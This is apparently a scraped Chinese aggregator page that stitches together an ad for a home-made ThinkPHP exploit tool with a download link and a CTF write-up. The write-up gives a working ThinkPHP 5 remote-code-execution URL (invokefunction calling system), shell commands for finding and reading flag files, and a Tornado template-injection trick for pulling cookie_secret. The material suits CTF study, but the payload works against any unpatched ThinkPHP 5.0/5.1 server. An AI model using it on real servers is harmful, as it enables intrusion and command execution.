自制ThinkPHP漏洞利用工具

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了自制ThinkPHP漏洞利用工具相关的知识,希望对你有一定的参考价值。

参考技术A 本人小白一枚,最近手痒难耐,用 Python + PyQt5 写了个 Thinkphp漏洞利用工具 ,欢迎各位大佬试用并作出点评,谢谢。

百度网盘链接:https://pan.baidu.com/s/10ubXlK5tniR1UMYxyIiW3Q 提取码:wyl5

下图为一个功能的演示:

ThinkPHP V5(漏洞解析及利用)及tornado知识点

ThinkPHP 5漏洞简介


ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞。该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.0和5.1版本,推荐尽快更新到最新版本。


漏洞分析

程序未对控制器进行过滤,导致攻击者可以用 \\(斜杠)调用任意类方法。

漏洞利用

http://159.138.137.79:63571/index.php?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /

到这里会出现

可是直接 cat /flag 或者cat /flag/flag,都不对可能有很多层的目录

用到命令 find / -name flag*这样就可以找到很多层的目录,然后cat就行或者

直接cat $(find / -name flag)也可以

easytornado

主要是tornado框架的一些知识点

开局三个选择, flag in /fllllllllllllag

render

md5(cookie_secret+md5(filename)) 

render是模板渲染所以考虑到了ssti,这里我们需要得到的就是cookie_secret这样就行,因为filename我们已经知道了,然后一起md5加密传参就会获得flag 

只可以执行这种,不能执行运算,在tornado官方网站和网上查找资料,最终得到handler指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了

发现里面有cookie_secret所以我们直接传参 handler.settings 

进入第二个选择,这道题重要的是找到注入点,通过试出来时报错这个 

 

 

以上是关于自制ThinkPHP漏洞利用工具的主要内容,如果未能解决你的问题,请参考以下文章

利用Thinkphp 5缓存漏洞实现前台Getshell

如何找漏洞,又怎样利用它提权

ThinkPHP V5(漏洞解析及利用)及tornado知识点

ThinkPHP 3.2.0 的注入漏洞,如何在这个程序利用

从防护角度看Thinkphp历史漏洞

网站安全检测 对thinkphp通杀漏洞利用与修复建议